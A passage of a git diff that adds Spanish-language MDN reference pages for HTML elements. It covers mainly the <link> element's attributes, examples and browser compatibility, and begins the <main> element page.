+   <td><code style="color: green;">style</code></td>
+   <td>reglas de estilo</td>
+   <td>implícito</td>
+   <td>información de estilo en línea.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">id</code></td>
+   <td>ID</td>
+   <td>implícito</td>
+   <td>identificador único a nivel de documento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">class</code></td>
+   <td>CDATA</td>
+   <td>implícito</td>
+   <td>identificador a nivel de documento, lista de clases separadas por espacios.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">dir</code></td>
+   <td>(ltr|rtl)</td>
+   <td>implícito</td>
+   <td>dirección del texto débil/neutral</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">lang</code></td>
+   <td>código de idioma</td>
+   <td>implícito</td>
+   <td>información sobre el idioma</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup.</code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="4">de transición</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">type</code></td>
+   <td>(disc|square|circle) (1|a|A|i|I)</td>
+   <td>implícito</td>
+   <td>estilo de numeración</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">value</code></td>
+   <td>'un número'</td>
+   <td>implícito</td>
+   <td>reinicializar número de secuencia</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<p>El siguiente código:</p>
+
+<pre class="eval">&lt;ul&gt;
+ &lt;li&gt;punto uno&lt;/li&gt;
+ &lt;li&gt;punto dos&lt;/li&gt;
+ &lt;li&gt;punto tres&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<div class="highlight">
+<p>Se visualiza así:</p>
+
+<ul>
+ <li>punto uno</li>
+ <li>punto dos</li>
+ <li>punto tres</li>
+</ul>
+</div>
+
+<h3 id="Comentarios" name="Comentarios">Comentarios</h3>
diff --git a/files/es/web/html/elemento/link/index.html b/files/es/web/html/elemento/link/index.html
new file mode 100644
index 0000000000..e604bf0f30
--- /dev/null
+++ b/files/es/web/html/elemento/link/index.html
@@ -0,0 +1,425 @@
+---
+title: link
+slug: Web/HTML/Elemento/link
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Metadatos
+  - Metadatos de documento HTML
+  - Referencia
+  - Todas_las_Categorías
+  - Web
+translation_of: Web/HTML/Element/link
+---
+<p id="Summary">{{HTMLRef}}</p>
+
+<p>El <strong>elemento HTML <code>&lt;link&gt;</code></strong> especifica la relación entre el documento actual y un recurso externo. Los usos posibles de este elemento incluyen la definición de un marco relacional para navegación. Este elemento es más frecuentemente usado para enlazar hojas de estilos.</p>
+
+<div class="note">
+<p>El atributo {{htmlattrxref("rel", "link")}} puede ser establecido con muchos valores diferentes. Estos se encuentran <a href="/es/docs/Web/HTML/Tipos_de_enlaces">listados</a> en una página separada.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido">Categorías de contenido</a></th>
+   <td>Contenido en metadatos. Si {{htmlattrxref("itemprop", "link")}} está presente: <a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_dinámico">contenido dinámico</a> y <a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_textual_o_estático">contenido textual o estático</a></td>
+  </tr>
+  <tr>
+   <th>Contenido permitido</th>
+   <td>Ninguno, es un {{Glossary("empty element", "elemento vacío")}}.</td>
+  </tr>
+  <tr>
+   <th>Omisión de etiqueta</th>
+   <td>Siendo un elemento vacío, la etiqueta de inicio debe estar presente y la etiqueta de cierre no debe estarlo</td>
+  </tr>
+  <tr>
+   <th>Elementos padre permitidos</th>
+   <td>Cualquier elemento que acepte elementos de metadatos. Si está presente el atributo {{htmlattrxref("itemprop", "link")}}: cualquier elemento que acepte <a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_textual_o_estático">contenido textual o estático</a>.</td>
+  </tr>
+  <tr>
+   <th>Interfaz DOM</th>
+   <td>{{domxref("HTMLLinkElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento incluye los <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("charset")}}{{obsolete_inline}}</dt>
+ <dd>Este atributo define la codificación de caracteres del recurso enlazado. El valor es un espacio y/o una lista de grupos de caracteres según se define en {{rfc(2045)}}, separados por coma. El valor predeterminado es <code>iso-8859-1</code>.
+ <div class="note"><strong>Nota de uso:</strong> Este atributo es obsoleto y <strong>no debe ser usado por autores</strong>. Para conseguir su mismo efecto, se recomienda usar el encabezado HTTP <span style="font-family: courier new;">Content-Type</span> en el recurso enlazado.</div>
+ </dd>
+ <dt>{{htmlattrdef("crossorigin")}}</dt>
+ <dd>Este atributo enumerado indica si se debe usar CORS cuando se solicite una imagen relacionada. Las <a href="/es/docs/Web/HTML/Imagen_con_CORS_habilitado">imágenes con CORS habilitado</a> pueden ser reutilizadas en el elemento {{HTMLElement("canvas")}} sin que estén <em>corruptas</em>.Los valores permitidos son:
+ <dl>
+  <dt><code>"anonymous"</code></dt>
+  <dd>Una solicitud a un origen cruzado (esto es, con el encabezado HTTP <code>Origin:</code>) es realizada, pero no se envían credenciales (es decir, no se envían cookies, ni certificado X.509, ni datos de autenticación básica HTTP). Si el servidor no otorga credenciales al sitio de origen (por no enviar el encabezado HTTP <code>Access-Control-Allow-Origin:</code>) la imagen estará <em>corrupta</em>, y su uso estará restringido.</dd>
+  <dt><code>"use-credentials"</code></dt>
+  <dd>Una solicitud a un origen cruzado (esto es, con el encabezado HTTP <code>Origin:</code>) es realizada, enviando credenciales (es decir, se envían cookies, certificado y autenticación básica HTTP). Si el servidor no otorga credenciales al sitio de origen (a través del encabezado HTTP <code>Access-Control-Allow-Credentials:</code>), la imagen estará <em>corrupta</em>, y su uso estará restringido.</dd>
+ </dl>
+ Si no está presente, el recurso es obtenido sin una solicitud CORS (sin enviar el encabezado HTTP <code>Origin:</code>), previniendo así su uso no corrupto en elementos {{HTMLElement('canvas')}}. Si se introduce un valor no permitido, se maneja como si usara el valor <strong>anonymous</strong>. Véase <a href="/es/docs/Web/HTML/Atributos_de_configuracion_CORS">atributos de configuración CORS</a> para más información.</dd>
+ <dt>{{htmlattrdef("disabled")}} {{Non-standard_inline}}</dt>
+ <dd>Este atributo es usado para deshabilitar una relación de enlace. Agregando programación, este atributo puede ser usado para habilitar o deshabilitar la relación con distintas hojas de estilos.
+ <div class="note">
+ <p><strong>Nota:</strong> Aunque no hay atributo <code>disabled</code> en el estándar de HTML, <strong>sí</strong> hay un atributo <code>disabled</code> en el objeto DOM <code>HTMLLinkElement</code>.</p>
+
+ <p>El uso de <code>disabled</code> como atributo HTML no es estándar, y solo puede ser usado en algunos navegadores (<a href="https://www.w3.org/Bugs/Public/show_bug.cgi?id=27677">W3 #27677</a>). <strong style="font-weight: bold;">No debe usarse</strong>. Para lograr un efecto similar, se puede usar una de las siguientes técnicas:</p>
+
+ <ul>
+  <li>Si el atributo <code>disabled</code> fue añadido directamente al elemento en la página, no incluya el elemento {{HTMLElement("link")}} en vez de eso;</li>
+  <li>Establezca la <strong>propiedad</strong> <code>disabled</code> del objeto DOM <code>StyleSheet</code> vía programación.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("href")}}</dt>
+ <dd>Este atributo especifica la {{glossary("URL")}} del recurso enlazado. La URL debe ser absoluta o relativa.</dd>
+ <dt>{{htmlattrdef("hreflang")}}</dt>
+ <dd>Este atributo indica el idioma del recurso enlazado. Es meramente informativo. Los valores permitidos son determinados por la <a href="http://www.ietf.org/rfc/bcp/bcp47.txt">BCP47</a>. Se recomienda usar este atributo solamente si el atributo {{htmlattrxref("href", "a")}} está presente.</dd>
+ <dt>{{htmlattrdef("integrity")}} {{experimental_inline}}</dt>
+ <dd>Contiene metadatos en línea, el valor criptográfico codificado a base 64 de un recurso (archivo) que se le está indicando al navegador que obtenga, el cual puede ser utilizado por el agente usuario para verificar si el recurso obtenido ha sido entregado libre de manipulaciones inesperadas. Véase <a href="/es/docs/Web/Security/Subresource_Integrity">Integridad de subrecursos</a>.</dd>
+ <dt>{{htmlattrdef("media")}}</dt>
+ <dd>Este atributo especifica el tipo de medio al que aplica el recurso enlazado. Su valor debe ser un <a href="/en-US/docs/CSS/Media_queries">media query</a>. Este atributo es usado principalmente cuando se enlaza a una hoja de esetilos externa en la que se le permita al agenete usuario seleccionar la que mejor se adapte al dispositivo sobre el que se ejecuta.
+ <div class="note"><strong>Notas de uso: </strong>
+ <ul>
+  <li>En HTML 4, esto puede ser solamente una lista simple de literales de medios separadas por espacio, es decir, <a href="/es/docs/Web/CSS/@media">tipos de medios y grupos</a>, donde se definían valores para este atributo, tales como <code>print</code>, <code>screen</code>, <code>aural</code>, <code>braille</code>. HTML5 extiende esto a cualquier clase de <a href="/es/docs/CSS/Media_queries">media queries</a>, los cuales son un superconjunto de los valores permitidos de HTML 4.</li>
+  <li>Los navegadores que no soporten los <a href="/es/docs/CSS/Media_queries">Media Queries de CSS3</a> no necesariamente reconocerán el enlace adecuado; no olvide establecer enlaces de <em>fallback</em>, usando los conjuntos de media queriese definidos en HTML 4.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("methods")}} {{Non-standard_inline}}</dt>
+ <dd>El valor de este atributo provee información acerca de las funciones que podrían ser ejecutadas en un objeto. Los valores son generalmente indicados por el protocolo HTTP cuando se usa, pero podrían (por razones similares a las del atributo <strong>title</strong>) ser usados para incluir información de ayuda por adelantado en el enlace. Por ejemplo, el navegador podría elegir una representación diferente de un enlace como una función de los métodos especificados; algo que es buscable podría tener un ícono diferente, o un enlace externo podría dibujar una indicación de que se dejará el sitio actual. Este atributo no está bien comprendido, ni soportado, aun por el navegador en el que se definió, Internet Explorer 4. Véase <a href="http://msdn.microsoft.com/en-us/library/ms534168%28VS.85%29.aspx" rel="external nofollow">Propiedades de métodos (MSDN)</a>.</dd>
+ <dt>{{htmlattrdef("referrerpolicy")}} {{experimental_inline}}</dt>
+ <dd>Una cadena de texto que indica el referente a usar cuando se obtenga el recurso:
+ <ul>
+  <li><code>'no-referrer'</code> significa que el encabezado {{HTTPHeader("Referer")}} no será enviado.</li>
+  <li><code>'no-referrer-when-downgrade'</code> significa que no se enviará el encabezado {{HTTPHeader("Referer")}} cuando se navegue a un origen sin TLS (HTTPS). Este es el comportamiento predeterminado del agente usuario, si no se especifica una política distinta.</li>
+  <li><code>'origin'</code> significa que el referente será el origen de la página, qué es básicamente el esquema, host y puerto.</li>
+  <li><code>'origin-when-cross-origin'</code> significa que la navegación a otros orígenes estará limitada por el esquema, el host y el puerto, mientras que navegar dentro del mismo origen incluirá la ruta del referente </li>
+  <li><code>'unsafe-url'</code> significa que el referente incluirá el origen y ruta (sin el fragmento, contraseña o nombre de usuario). Este caso es inseguro porque permite filtrar orígenes y rutas desde recursos protegidos por TLS a orígenes inseguros.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("rel")}}</dt>
+ <dd>Este atributo indica la relación del documento enlazado con el actual. El atributo debe ser una lista de <a href="/es/docs/Web/HTML/Tipos_de_enlaces">tipos de enlaces</a> separados por espacio. El uso más común para este atributo es especificar el enlace a una hoja de estilos externa: el atributo <strong>rel</strong> se establece con valor <code>stylesheet</code>, y el atributo <strong>href</strong> se establece con la URL de la hoja de estilos externa para dar formato a la página. WebTV también soporta el uso del valor <code>next</code> en <strong>rel</strong> para precargar la siguiente página en una serie de documentos.</dd>
+ <dt>{{htmlattrdef("rev")}}{{obsolete_inline}}</dt>
+ <dd>El valor de este atributo muestra la relación del documento actual al documento enlazado, como se define en el atributo {{htmlattrxref("href", "link")}}. En consecuencia, este atributo define la relación inversa, en comparación al valor del atributo <strong>rel</strong>. Los <a href="/es/docs/Web/HTML/Tipos_de_enlaces">tipos de enlace</a> para este atributo son similares a los disponibles para {{htmlattrxref("rel", "link")}}.
+ <div class="note"><strong>Notas de uso:</strong> Este atributo es obsoleto en HTML5. <strong>No debe usarse</strong>. Para lograr este efecto, use el atributo {{htmlattrxref("rel", "link")}} con el <a href="/es/docs/Web/HTML/Tipos_de_enlaces">tipo de enlace</a> contrario, por ejemplo, <span style="font-family: courier new;">made</span> debe reemplazar a <span style="font-family: courier new;">author</span>. Además, este atributo no significa <em>revision</em> y no debe ser usado con un número de versión, que es desafortunadamente el caso de muchos sitios.</div>
+ </dd>
+ <dt>{{htmlattrdef("sizes")}}</dt>
+ <dd>Este atributo define los tamaños de los íconos para medios visuales contenidos en el recurso. Debe estar presente solo si el atributo {{htmlattrxref("rel","link")}} contiene el <a href="/es/docs/Web/HTML/Tipos_de_enlaces">tipo de enlace</a> <span style="font-family: courier new;">icon</span>. Puede tener los siguientes valores:
+ <ul>
+  <li><code>any</code>, significa que el ícono puede ser escalado a cualquier tamaño, ya que está en un formato vectorial, como <code>image/svg+xml</code>.</li>
+  <li>una lista de tamaños separados por espacios en blanco, cada uno en formato <span style="font-family: courier new;"><em>&lt;anchura en píxeles&gt;</em>x<em>&lt;altura en píxeles&gt;</em></span> or <span style="font-family: courier new;"><em>&lt;anchura en píxeles&gt;</em>X<em>&lt;altura en píxeles&gt;</em></span>. Cada uno de estos tamaños debe estar contenido en el recurso.</li>
+ </ul>
+
+ <div class="note"><strong>Notas de uso: </strong>
+
+ <ul>
+  <li>La mayoría de los formatos de ícono solo permiten almacenar un ícono; por lo que la mayoría de las ocasiones, el atributo {{htmlattrxref("sizes")}} contiene solamente una entrada. El formato ICO de Microsoft lo hace, así como el formato ICN de Apple. Siendo ICO más común, es el que se recomienda usar.</li>
+  <li>iOS de Apple no soporta este atributo, por lo que iPhone y iPad de Apple usan <a href="/es/docs/Web/HTML/Tipos_de_enlaces">tipos de enlaces</a> especiales, no estándares, para definir los íconos a usar como Web Clip o contenedor de inicio: <span style="font-family: courier new;">apple-touch-icon</span> y <span style="font-family: courier new;">apple-touch-startup-icon</span>.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("target")}}{{Non-standard_inline}}</dt>
+ <dd>Define el nombre del frame o ventana que tendrá la relación de enlace o que mostrará la representación de algun recurso enlazado.</dd>
+ <dt>{{htmlattrdef("title")}}</dt>
+ <dd>El atributo <code>title</code> tiene semántica particular para el elemento <code>&lt;link&gt;</code>. Cuando se usa en una etiqueta <code>&lt;link rel="stylesheet"&gt;</code>, define una <a href="/es/docs/Web/CSS/Alternative_style_sheets">hoja de estilos preferida o alternativa</a>. El uso incorrecto de este atributo podría <a href="/es/docs/Correctly_Using_Titles_With_External_Stylesheets">provocar que la hoja de estilos sea ignorada</a>.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>Este atributo es usado para definir el tipo de contenido al que se enlaza. El valor del atributo debe ser un tipo MIME, como <strong>text/html</strong>, <strong>text/css</strong>. El uso común de este atributo es para definir el tipo de hoja de estilos enlazada, y el valor más común es <strong>text/css</strong>, el cual indica un formato de Hoja de Estilos en Cascada.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Incluyendo_una_hoja_de_estilos">Incluyendo una hoja de estilos</h3>
+
+<p>Para incluir una hoja de estilos en una página, use la siguiente sintaxis:</p>
+
+<pre class="brush: html">&lt;link href="style.css" rel="stylesheet"&gt;
+</pre>
+
+<h3 id="Proporcionando_hojas_de_estilos_alternativas">Proporcionando hojas de estilos alternativas</h3>
+
+<p>También se pueden especificar <a href="/es/docs/Web/CSS/Alternative_style_sheets">hojas de estilos alternativas</a>.</p>
+
+<p>El usuario puede elegir cuál hoja de estilos usar, seleccionándola desde el menú Ver &gt; Estilo de Página. Esto proporciona una manera en que los usuarios pueden ver múltiples versiones de una misma página.</p>
+
+<pre class="brush: html">&lt;link href="default.css" rel="stylesheet" title="Default Style"&gt;
+&lt;link href="fancy.css" rel="alternate stylesheet" title="Fancy"&gt;
+&lt;link href="basic.css" rel="alternate stylesheet" title="Basic"&gt;
+</pre>
+
+<h3 id="Eventos_de_carga_de_hojas_de_estilos">Eventos de carga de hojas de estilos</h3>
+
+<p>Se puede determinar cuando una hoja de estilos fue cargada estableciendo la ejecución de un evento <code>load</code> en el elemento; de forma similar, se puede detectar si ocurrió un error al procesar una hoja de estilos, observando el evento <code>error</code>:</p>
+
+<pre class="brush: html">&lt;script&gt;
+function sheetLoaded() {
+  // Hacer algo interesante; la hoja de estilos ha sido cargada
+}
+
+function sheetError() {
+  alert("¡Ocurrió un error al cargar la hoja de estilos!");
+}
+&lt;/script&gt;
+
+&lt;link rel="stylesheet" href="mystylesheet.css" onload="sheetLoaded()" onerror="sheetError()"&gt;
+</pre>
+
+<div class="note"><strong>Nota:</strong> El evento <code>load</code> se dispara una vez que la hoja de estilos y todo su contenido importado ha sido cargado y procesado, e inmediatamente antes de que los estilos sean aplicados al contenido.</div>
+
+<h2 id="Notas">Notas</h2>
+
+<ul>
+ <li>Una etiqueta <code>&lt;link&gt;</code> puede ocurrir solo en el elemento head; sin embargo, pueden haber múltiples ocurrencias de <code>&lt;link&gt;</code>.</li>
+ <li>HTML 3.2 define solamente los atributos <strong>href</strong>, <strong>rel</strong>, <strong>rev</strong>, y <strong>title</strong> para el elemento link.</li>
+ <li>HTML 2 define los atributos <strong>href</strong>, <strong>methods</strong>, <strong>rel</strong>, <strong>rev</strong>, <strong>title</strong>, y <strong>urn</strong> para el elemento <code>&lt;link&gt;</code>. Los atributos <strong>methods</strong> y <strong>urn</strong> fueron eliminados más adelante de las especificaciones.</li>
+ <li>Las especificaciones HTML y XHTML definen controladores de evento para el elemento <code>&lt;link&gt;</code>, pero no está claro cómo serían usados.</li>
+ <li>En XHTML 1.0, elementos vacíos como <code>&lt;link&gt;</code> requieren una diagonal de cierre: <code>&lt;link /&gt;</code>.</li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Subresource Integrity', '#htmlscriptelement', '&lt;script&gt;')}}</td>
+   <td>{{Spec2('Subresource Integrity')}}</td>
+   <td>Se añade el atributo <code>integrity</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-link-element', '&lt;link&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No hay cambios desde la versión anterior</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-link-element', '&lt;link&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Se añaden los atributos <code>crossorigin</code> y <code>sizes</code>; valores extendidos para <code>media</code> para cualquier media query; se añaden numerosos valores para <code>rel</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/links.html#h-12.3', '&lt;link&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Hojas de estilos alternativas</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Atributo <code>disabled</code> {{Non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Atributo <code>methods</code> {{Non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>4.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Atributo <code>sizes</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}} {{bug("441770")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Eventos <code>load</code> y <code>error</code></td>
+   <td>
+    <p>19 (Webkit: 535.23)</p>
+
+    <p>({{webkitbug(38995)}})</p>
+   </td>
+   <td>{{CompatGeckoDesktop("9.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>11.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Atributo <code>crossorigin</code></td>
+   <td>{{CompatChrome("25")}}</td>
+   <td>{{CompatGeckoDesktop("18.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera("15")}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Atributo <code>integrity</code></td>
+   <td>{{CompatChrome(45.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td>Atributo <code>referrerpolicy</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("50.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Hojas de estilos alternativas</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Atributo <code>disabled</code> {{Non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Atributo <code>methods</code> {{Non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>4.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Atributo <code>sizes</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} {{bug("441770")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Eventos <code>load</code> y <code>error</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Atributo <code>crossorigin</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("18.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Atributo <code>integrity</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(45.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(45.0)}}</td>
+  </tr>
+  <tr>
+   <td>Atributo <code>referrerpolicy</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("50.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] {{WebKitBug(148363)}} da seguimiento a la implementación en Webkit de Integridad de Subrecursos (lo cual incluye el atributo <code>integrity</code>).</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="http://pieisgood.org/test/script-link-events/">Tabla de compatibilidad de eventos en &lt;script&gt; y &lt;link&gt;, por Ryan Grove</a></li>
+</ul>
diff --git a/files/es/web/html/elemento/main/index.html b/files/es/web/html/elemento/main/index.html
new file mode 100644
index 0000000000..fd3fd6c917
--- /dev/null
+++ b/files/es/web/html/elemento/main/index.html
@@ -0,0 +1,151 @@
+---
+title: <main>
+slug: Web/HTML/Elemento/main
+translation_of: Web/HTML/Element/main
+---
+<h2 id="Resumen">Resumen</h2>
+
+<p>El <strong>elemento</strong> <strong>HTML <code>&lt;main&gt;</code> </strong>representa el contenido principal del {{HTMLElement("body")}} de un documento o aplicación. El área principal del contenido consiste en el contenido que está directamente relacionado, o se expande sobre el tema central de un documento o la funcionalidad central de una aplicación. Este contenido debe ser único al documento, excluyendo cualquier contenido que se repita a través de un conjunto de documentos como barras laterales, enlaces de navegación, información de derechos de autor, logos del sitio y formularios de búsqueda (a menos, claro, que la función principal del documento sea un formulario de búsqueda).</p>
+
+<div class="note">
+<p><strong>Nota:</strong> <strong>no debe haber</strong> más de un elemento <code>&lt;main&gt;</code> en un documento, y este <strong>no debe ser</strong> descendiente de un elemento  {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("footer")}}, {{HTMLElement("header")}}, o {{HTMLElement("nav")}}.</p>
+</div>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/Web/HTML/Content_categories" title="HTML/Content_categories">Content categories</a></dfn><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Flow_content">Flow content</a>, palpable content.</li>
+ <li><dfn>Contenido permitido</dfn> <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Flow_content">Flow content</a>.</li>
+ <li><dfn>Omisión de etiquetas</dfn> Ninguna; ambas etiqueta inical y de fin son obligatorias.</li>
+ <li><dfn>Elementos padres permitidos</dfn> Cualquier elemento que acepte <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Flow_content">flow content</a>, pero no debe ser un descendiente de un elemento {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("footer")}}, {{HTMLElement("header")}}, o {{HTMLElement("nav")}}.</li>
+ <li><dfn>Interfaz DOM</dfn> {{domxref("HTMLElement")}}</li>
+</ul>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p><span style="line-height: 21px;">Este elemento solo incluye  </span><a href="/en-US/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">atributos globales.</a></p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: html">&lt;!-- other content --&gt;
+
+<span class="highlight">&lt;main&gt;</span>
+  &lt;h1&gt;Apples&lt;/h1&gt;
+  &lt;p&gt;The apple is the pomaceous fruit of the apple tree.&lt;/p&gt;
+
+  &lt;article&gt;
+    &lt;h2&gt;Red Delicious&lt;/h2&gt;
+    &lt;p&gt;These bright red apples are the most common found in many
+    supermarkets.&lt;/p&gt;
+    &lt;p&gt;... &lt;/p&gt;
+    &lt;p&gt;... &lt;/p&gt;
+  &lt;/article&gt;
+
+  &lt;article&gt;
+    &lt;h2&gt;Granny Smith&lt;/h2&gt;
+    &lt;p&gt;These juicy, green apples make a great filling for
+    apple pies.&lt;/p&gt;
